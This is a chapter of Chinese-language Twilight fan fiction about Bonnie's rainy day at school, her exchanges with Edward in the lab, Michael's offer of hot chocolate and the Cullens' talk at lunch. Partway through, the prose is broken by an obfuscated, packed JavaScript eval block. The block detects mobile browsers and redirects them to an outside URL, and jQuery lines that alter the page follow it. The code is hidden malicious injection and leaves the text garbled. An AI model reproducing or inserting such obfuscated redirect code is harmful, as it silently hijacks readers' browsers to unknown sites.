第二天清晨，雨下得比预报来得更早。
福克斯镇的天阴得像洗过的布，被水压得低低垂垂，连校门口的旗子都懒得升起。
教学楼走廊的地砖被湿气染成了深色，学生们纷纷裹着夹克或抱着课本冲进主楼，地面踩出一片片泥脚印。
邦妮照常独自走进校门，脚步依旧平稳，衣服依旧宽松，神情依旧是那副“风可以从我身上穿过去”的安静冷感。
但今天不同。
她撑着伞，走到楼梯口的时候，一只手突然出现在她眼前。
她愣了半秒，抬头。
是爱德华·卡伦。
他的眼神和平时在教室里那种“我只是偶然路过”的克制不太一样。今天的眼神……有点说不清的挑衅，又像是一种已经认输但还不走的沉默坚持。
她没说话。
“你左边鞋带松了。”他说，声音轻得像刚刚被窗子压断的风。
她低头看了一眼，确实。
她抬头，不急不缓：“你现在打工送快递，顺便帮人系鞋带了？”
他轻轻一挑眉：“我只是顺路。”
“你的顺路挺广义的。”她蹲下去自己系，动作快得利落，手指灵活，像是生怕他真弯腰来碰。
她站起身，伞没往他那边偏，也没躲开。
他就站在雨里。
“你就不怕感冒？”她抬了抬眉。
“我体质好。”他目不转睛地看着她，“特别好。”
“你这话听起来像要报考海豹突击队。”她叹了口气，把伞往他那边偏了点，虽然偏得不多，但已经是她为人处世的尺度里最大的一次让步。
“谢谢。”他看着她，“我会视为恩赐。”
“别太快感动。”她抿嘴，“我只是怕我站着看你淋湿，会吓到其他人。”
他想笑，但强压着。他站得笔直，和她并肩走进教学楼的那条走廊。
伞上水珠淅沥落下，两人的脚步声在湿滑的地面上落出同样节奏。
他转头看她一眼，她仍旧望前，眉眼未动。
“你知道你今天很漂亮吗？”
她停了。
那种停不是受宠若惊的，而是那种“哦你终于说出一句正常人类说的话了”的那种停。
她转头，嘴角微微扬起，眼神淡淡。
“你是第一个在我鞋带松的时候说我漂亮的人。”她说。
“我没说是因为你鞋带松才漂亮。”他说。
“那你可能要重新校准你的审美。”她淡淡道，“我今天头发乱，帽衫发旧，雨水滴进鞋里，走路发出‘啪唧啪唧’的声音。我很清楚我现在看起来像个流浪汉。”
“但我还是觉得漂亮。”他语气不变，眼神温沉，“也许是因为你看起来，不在意自己漂不漂亮。”
她转过头，没接这话。但她的耳尖染上一点轻微的红。
他没看穿，但感知到了。
他在她的沉默里，看见了一点真正的温度。
第三节课是实验课。
座位重新排过，她意外地发现，和自己分在同一个实验组的，还是爱德华。
她一脸“这个地球是圆的”的疲惫：“是不是谁出钱帮你买下了这个座位？”
“这是一种命运的安排。”他不动声色地说，“或者说，神秘力量的倾斜。”
她翻出实验手册，戴上橡胶手套，“我可不信命。”
她一句话说完，自己都轻轻笑了一下。
他看着她眼底那一点不小心泄露的疲惫和自嘲——她不是不想有人懂，只是太早明白了“被懂”这个词本身就是负担。
他们开始调试反应剂。她动作利落，嗅觉敏锐，哪怕没有交流，两人的节奏竟也异常一致。滴管滑过、仪器调准，她转动玻璃瓶时，爱德华的指尖与她的擦了一下。
那一下轻得像风。
她顿了顿，没抽开，但目光直视他。
“你手冷。”她淡淡说。
“总比烧人强。”他也淡淡回。
“这话说得好像你真见过烧人的手。”
“我确实见过。”他看着她，语调低缓，“只不过……那不是温度，是冲动。”
她轻轻眯了下眼，嘴角动了动。
“你这是在调情吗？”
“你听出来了？”
“我不是听出来的。”她移开目光，语气像刀子，“我是猜出来的。你那种表情，要么是调情，要么是打算吃人。无论哪种，都不适合课堂。”
“那你更愿意我是哪种？”
她回头，眉眼冷静，却也带着一丝古怪的笑意。
“我更愿意你是那种——下课之后会自动消失的那种。”
他点点头，低声笑了：“那我只能说，我很不争气。”
这句话他是故意说轻的，像呼吸一样。
但她听到了。
下课后，两人各自收拾。邦妮背着包出门，路过走廊尽头窗户，回头看了他一眼。爱德华正站在实验台边，目送她。
她低头一笑，很轻。
英语课间，雨势暂缓了些，天色依旧阴着，像一张忘记清洗的银底相纸，泛着潮气。
校园草地尽头，迈克尔·牛顿像是鼓足勇气的运动员，在朋友一阵“你要不行就算了”的轻声打趣中，拎着两个纸杯朝教学楼走来。
杯口冒着白雾，是热巧克力。
他一边走一边在掌心搓搓指尖，像是对自己打气，又像是怕手太凉。他在想着怎么递上去才不会显得太刻意，又怎么说才不会被她一口回绝。
结果他还没组织好语言，就已经看见她了。
邦妮正站在走廊尽头的饮水机旁，抬头用一根指尖把头发别到耳后，背脊挺直，脖子线条细而清晰。
她什么都没做，只是站着，像一幅天气潮湿也干净的画。
迈克尔一鼓作气地走上前，笑得有点紧张地举起一杯：“嘿，你——呃，想喝热巧克力吗？”
邦妮回过头。
没有皱眉，也没有笑。只是那种无喜无嗔的中立神情，像一扇未关紧的门，只要你推对了方式，也许可以进去一寸。
“你准备了两杯。”她说，语气没有询问，像陈述。
“啊，另一个是我的。”迈克尔急忙解释，“不是为了显得我很会追女生那种准备……就是真的刚好买了两杯，因为我想喝两口。”
她看了看那杯杯壁被雨气和他手掌印糊了一圈的巧克力，接过去了。
他呼了一口气，心里像有人点了一盏灯。
“谢谢。”她说，很轻。
他眼睛一亮。
但她接下来的话却像是包了糖衣的温柔刀。
“我不太喝甜的，但今天确实冷。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405297|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她说得不急不缓，没有嘲弄，也没有抗拒，只是把这场“好感”往客气的临界线轻轻一拨，不让他撞到她真正的内心。
迈克尔愣了一瞬，然后点头：“那……那我下次可以买不甜的？”
她望着他，半晌后，微微点了点头。
“可以。但不用特地为了我。”
她说完，又转头往教室走去，背影瘦而淡，衣角被风掀起，带着她一贯的清醒、不缠人、不迷人却又让人无法忽视的气质。
她不会用恶意打击人，但她的温和里自带界限感。
远处教学楼二层窗台后，某张脸静静地伏在墙边的阴影里。
是爱德华。
他的眼神并没有变化，琥珀色如故，但骨节紧紧攥着书本的手暴露了他的情绪。那不是失控，是被克制捆得太紧的情绪溢出一点点裂缝的前奏。
他当然看见了。
他从迈克尔拿出两杯热巧克力时就在看。
他甚至能提前知道迈克尔在想什么——“这杯要快点给她，她可能今天会笑一次”“她如果说谢谢，我就可以约她下次去镇上的……”
他都听见了。那些心跳声、念头、肾上腺素冲上脑门的激动都清清楚楚。
而她。
她接了那杯热巧克力。
虽然她拒绝了他的用心，虽然她没有笑，虽然她不可能对他动心——但她接了。
她没有把人推远。她温柔地，合乎逻辑地，将人留在了远处。
这比真正的拒绝让爱德华更烦躁。
她为迈克尔留了一个“你可以试试看”的缝隙。
哪怕这个缝隙微乎其微。
午餐时间，食堂里依旧是塑料盘、干掉的披萨和永远不够烫的浓汤。
邦妮坐在靠墙的位置，书包搁在桌上遮了一半人，头发因为湿气显得有点卷。她没戴帽子，头发往后顺着，一小绺搭在脖颈后。
她在看一本书，眼神极专注，仿佛坐在图书馆而不是食堂。
而在她斜前方的桌子上，迈克尔和他的朋友们坐着。他不时回头看她，但不敢再上前。
他知道她不会吼他，也不会撅嘴说“别靠近我”，可就是因为她这种温和而克制的拒绝方式，更让人退缩。
她像一个真正拥有“分寸感”的谜团。
你可以靠近，但你得承担后果，你得自己预估代价。
那边，卡伦家一如既往地坐在靠窗最远那一桌。
爱丽丝的手肘撑着桌面，没看食物，只看爱德华。
“你要是再这么盯着她，别人都会以为你能心灵感应。”她轻声说。
“我以为他已经用上心灵感应了。”艾美特嘟囔。
罗莎莉转着叉子，冷哼一声：“她接了那男孩的热巧克力。”
“她也说了她不喜欢甜的。”爱德华终于说话，声音低沉。
“可她还是接了。”贾斯帕看他一眼，语气平静，“这是人类行为的‘尊重边界’表达。她允许别人靠近自己。”
“我不在意她让谁靠近。”爱德华说，语速缓慢，指尖捻着纸巾。
“但你攥的那个塑料杯快裂了。”爱丽丝说，语调太温柔，像是在笑他。
他低头，看见自己指尖确实把那只杯子压出了形。
他松开手，轻轻叹了口气。
窗外的雨又落下来了。